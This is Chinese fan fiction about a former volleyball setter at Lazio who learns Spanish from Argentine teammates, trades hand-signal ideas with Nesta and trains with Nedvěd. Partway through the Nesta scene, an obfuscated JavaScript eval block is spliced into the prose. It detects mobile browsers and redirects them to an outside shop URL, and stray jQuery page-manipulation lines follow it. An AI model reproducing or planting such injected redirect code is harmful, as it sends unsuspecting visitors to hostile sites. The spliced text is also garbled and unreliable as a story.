拉齐奥更衣室里经常能听见西班牙语。
贝隆、克雷斯波、洛佩斯、西蒙尼......托米环顾四周,越看越高兴。好多人!而且全都可以教他讲西语!——至于人家愿不愿意教,可以过去问嘛!托米一向很擅长这个。
贝隆最先被他找上:会说西语、踢中场、还愿意回答问题,简直是个挑不出一点儿毛病的好老师。托米在他旁边坐下来,笑眯眯地叫了一声:“胡安!早上好呀!\(^o^)/~”
贝隆抬起头:“这次你又想问什么?”
一开始托米学的都是球场上能用的短句,比如“回传”。贝隆念完,托米气势汹汹地立刻重复了一遍,只可惜重音的位置错了。
“后面那个音再重一点。”贝隆重新念给他听。
托米照着念了两次,问:“这样呢?”
“现在对了。”
“那我刚才最开始那样说,你能听懂吗?”
“能,只是感觉怪怪的。”
“那就好!我还以为重音不对的话那个词会变成别的意思呢!如果我喊回传,别人听成回转,那就麻烦了,球场又不是寿司店。”托米兴致勃勃地继续问:“对了胡安,‘你刚才这个球传得太大了’怎么说?”
贝隆看了他一眼:“你先用意大利语提醒一下自己。”
哎呀,怎么还提上午训练的事情呢,不就稍微传远了那么十几米吗。托米心虚地摸摸鼻子,决定换一句:“你太坏了!不学这个了!‘你为什么不动脑子,快传给我!’呢?”
“这句不用学。”
“为什么?”
“我怕你挨打。”
“好像是有点招仇恨哦......”托米想了想,“那你先教我‘为什么’吧!这个很有用,我想先学这个。”
贝隆想了一下,开始教他“传给我”。
托米学到一半感觉好像不太对,“你是不是唬我呢[○Д○]?”
“这个就够你用了。”
“可是我想学的不是这句!”托米抗议。
“你先用着。”
托米抬头看他,终于发现这位老师是故意的:“胡安,你就是不想教我问为什么。”
贝隆笑了:“你还是少问点为什么吧。”
这可不行!托米当天下午便去找了洛佩斯,学完以后还特意回来秀给贝隆听,满脸都写着:嘿嘿,我有别的老师!( ̄▽ ̄)/
贝隆转头看向洛佩斯,洛佩斯摊开手:“他来问我,我就告诉他了。”
几天以后,洛佩斯后悔了。
“小虫小虫,你昨天说的那种肉,要烤很久吗?为什么要烤这么久?不会烤焦吗?烤的时候大家就一直在旁边干等着?那先到的人饿了怎么办,有没有别的东西可以先吃?还是边等边聊天?这个我可以,我特别会等。对了对了,为什么你们阿根廷人爱喝马黛茶?”
洛佩斯把训练服从头上套下来:“你特别会什么?”
“我擅长等待!只要有人陪我说话,我就不会觉得时间很长,也不会觉得无聊和痛苦。”
洛佩斯最后还是慢慢地用简单的西语把刚才那几个问题挨个回答了。托米听得认真,偶尔碰到一个不熟悉的词,就请他再说一遍。
托米学得很快,而且他不耻下问也完全不怕说错。洛佩斯纠正他的发音,他缠着别人再说几次。克雷斯波说某句话听着怪,他就追问到底怪在哪里。偶尔听见两个人用了不同的说法,他还会把他们一起叫住,请他们当面讲清楚。最后,好好的训练休息,一不留神就成了联合授课。
更麻烦的是,托米学完真的会用,而且用得很勤。
一次分组训练中,他看见贝隆正从迭戈身后靠近,张嘴便用刚学的西语提醒:“你后面——”
最后那个“来人了”卡了一下,就这么一下,贝隆已经伸脚把球捅走了。托米剩下的半句话没来得及说完,先转身追了上去。
等球出了边线,他终于把整句话补齐,迭戈听完,朝足球抬了抬下巴:“说对了,下次早点。”
“我刚才在想最后那个词。”托米懊恼地皱起鼻子,“我明明记住了,一着急,脑子先冒出来的全是意大利语。”
“那就说意大利语。”迭戈无奈,“我听得懂。”
“可是我正在练西班牙语。”
“你正在丢球。”
“......好吧。”
岂可修!!语言课上居然还要踢足球!!
接下来的训练里托米老老实实地说回了意大利语,直到这一轮结束,他才跑到迭戈旁边,把刚才没用上的西语全说了一遍。
“这次怎么样?!”托米眼睛闪闪。
迭戈指导了几句,托米满意了,乐呵呵地跑开。迭戈看着他的背影,过了一会儿才反应过来:不对!怎么自己也开始教了?
拉齐奥语言学校,你值得拥有!你感慨。
————
内斯塔挺爱说话的,真的。
托米跟训没几天,就已经在更衣室见过他眉飞色舞地和小因扎吉讨论昨晚的比赛、基地附近的猪头肉意面,还有自己刚买的新外套。说到那件外套时,内斯塔甚至特地又把它穿上了,只为让大家再看一眼。
托米好奇地问:“队长,你买的时候,莫内没在旁边吧?”
小因扎吉立刻看向他:“什么意思?”
“如果你在,他应该买不成,你肯定会当场笑出来。”托米对对手指,“我有点不懂队长的时尚,我觉得你也是。”
更衣室炸开笑声,小因扎吉靠着柜门,笑得站都站不稳。
训练场上也一样。一次托米跑得太靠外,内斯塔抬手把人往回叫:“往里收!你再过去,替补席都该给你让座了!”
托米听得直乐,训练结束后,他问:“队长,你今天怎么喊得那么大声?”
“我一开始比手势你没看见,只能喊。”内斯塔朝场内指了一下,“平时你可以看看我的手,等踢熟了就不用喊了。”
托米眼睛一亮:“我们打排球也会用手势!”
没等内斯塔追问,他已经兴致勃勃地比划起来:“我们设计一套足球的手势吧!比如摸一下鼻子是往左,摸脸是往右,拍大腿是往前压,抓头发就是往后退——”
“那我鼻子痒了怎么办?”内斯塔好奇。
托米想了想:“先忍一下?”
“头发痒呢?”
“也忍一下?”
内斯塔被他逗笑了:“我踢场球,还不能碰自己的脸了?”
“也不是完全不能碰。我们可以换个地方,或者加一个动作,比如摸完鼻子再——”
“托米,你先等等。”
托米停住,疑惑地看他。
“我直接指一下左边,不是方便得多?”
“可是对面也看得见呀。”托米说。
“你刚才比划了这么半天,对面就看不见了?”
“看得见,但是他们不知道什么意思!暗号的精髓是让人猜不出来!”托米说得十分认真,“总共只有七个动作,很好记的。”
“刚才不是四个吗?”
“我又想到了三个,嘿嘿(*^▽^*)。”
内斯塔抬手拨了一下头发,发现托米的目光立刻跟了过去,小队长动作一顿,自己先笑起来:“这个不是让你往后退。”
“我知道,还没开始用呢!”托米说,“不过我觉得这个手势真的可以用上哟!我们找教练商量商量吧!”
教练拒绝了。
第二天休息的时候,托米又坐到了他旁边,今天换了个称呼:“亚历桑德罗,你小时候就一直踢后卫吗?”
“怎么直接喊我名字了?”内斯塔无奈地回答,“我也踢过前面,后来才留在后面。”
“中场也踢过?”
“踢过。”
托米高兴起来:“那你也换过位置!我从二传换到中场,你从前面换到后面——”
“你换了一个运动,我只换了半座球场。”
“都是换嘛。你当时是自己想踢后卫吗?还是教练让你去的?踢前面的时候,你更喜欢传球还是射门?如果一直往后换,最后是不是就到门将了?不过我觉得你踢门将也可以,你那么高这么帅——”
“你先别替我换了。”内斯塔把鞋带系好,坐直身体,“我现在挺好的。”
“好吧,那你先回答前面的。”
内斯塔给他讲了几句小时候踢球的事。托米坐在旁边听,听到
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17924673|210773||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
有意思的地方就笑,时不时还要问一句“然后呢”。说着说着,内斯塔也想起一件事:“你们二传打手势的时候,对面真的看不见?”
“会挡着一点,悄悄的!不会举起来给大家看,因为排球比赛里,队友一般都在身边和身后,对手一定在身前呀!”
“那你还让我摸鼻子抓头发?”
“因为足球隔得远嘛!手藏起来,你的队友也看不见了。而且那个还是设想,可以改的。”托米赶紧替自己解释,又顺着话题讲起排球,“不过就算提前打好了暗号,也得看球过来以后怎么样。有时候队友准备跳了,我根本来不及跑到合适的地方,就只能先把球送得高一点......”
这回轮到内斯塔问:“队友一跳,对面不就知道你要传给谁了?”
“所以还得想办法呀!”
两个人越聊越起劲。内斯塔碰到不明白的地方就问,托米说到兴头上,干脆从地上捞起一个足球当排球使。小因扎吉经过时看了他们一眼,走到门口,又忍不住回头。
“你们准备在这里打排球?”
“他在给我讲呢。”内斯塔说。“没想到排球还挺好玩的。”
托米赶紧招呼:“莫内,你来得正好,站在这里!”
小因扎吉立即往后退:“我不来。”
“站一下就好!你就假装是对面的拦网——”
“我还要吃饭。”
“你怎么每次都要吃饭!”
“因为你每次都挑这个时候。”
托米低头看了眼时间,遗憾地放下足球。内斯塔也站起来,往门外走了两步,又回头问:“那你刚才说的那个球,最后给谁了?”
小因扎吉叹了口气,还以为他俩总算讲完了呢。
一个月后,托米已经彻底不觉得队长安静了。某天训练结束,他跟内斯塔聊了一路,到了更衣室门口,忽然停下来:“桑桑,你是不是挺爱跟我聊天的?”
内斯塔看了他一眼:“你现在才发现?”
托米愣了一下,随即笑得眼睛都弯起来:“嘿嘿,我早就发现了!我只是问问。”
“那你还问。”
“因为听你自己说一遍比较好嘛。”托米凑上去抱了内斯塔一下,“我也喜欢跟你聊天!你好奇排球的话,随时都可以问我,不用客气!”
“知道了。”
“我家里还有我以前比赛的录像呢,下次带来给你看!”
————
训练结束以后,内德维德有时还会留一会儿。十天里面,大概七天?
托米本来打算跟着大部队回更衣室,却看见内德维德又拿了一筐球出来,就又折了回去:“帕维尔,你今天准备练什么?”
“左脚射门。”
托米跑过去:“我给你传吧!我正好也想练一下,刚才有两脚给得太靠后了。”
练着练着,托米很快发现,内德维德的要求比他想象中还高。
有一脚球明明打进了,而且相当漂亮,内德维德却摇摇头,走回来时还低头看着自己的脚。
“刚才那下怎么了?”托米问。
“停得太近,射门前我又倒了一步。”
托米回想了一下:“我看见了,我还以为你故意这样停的呢。”
“这次能调整过来是因为没有对手,比赛里有人贴着,就不一定能射中了。”
“那我传球的时候稍微留点量,你再试试?”
下一脚,足球顺着内德维德的跑动送到。他迎球往前一带,紧接着起脚,动作比刚才连贯了许多。托米站在原地,看着足球进网,满意地用力鼓掌。
场边的影子渐渐长了。最后一颗球踢完,两个人把球收好,准备离开。
托米的脚步顿了一下,内德维德顺着他的目光看过去:“怎么了?”
“感觉最后那脚还是偏了一点。”托米小小声,“我还想问,和你一起练习会不会打扰你?感觉你还要抽时间教我,好麻烦你哦。如果你不想和我一起的话,你可以直接告诉我!我会飞快离开的!”
“明天我们再练。”内德维德看着被夕阳染上金色的卷毛,忍不住摸了一把。“一起练。”
“那说好了!明天也一起!(*^▽^*)”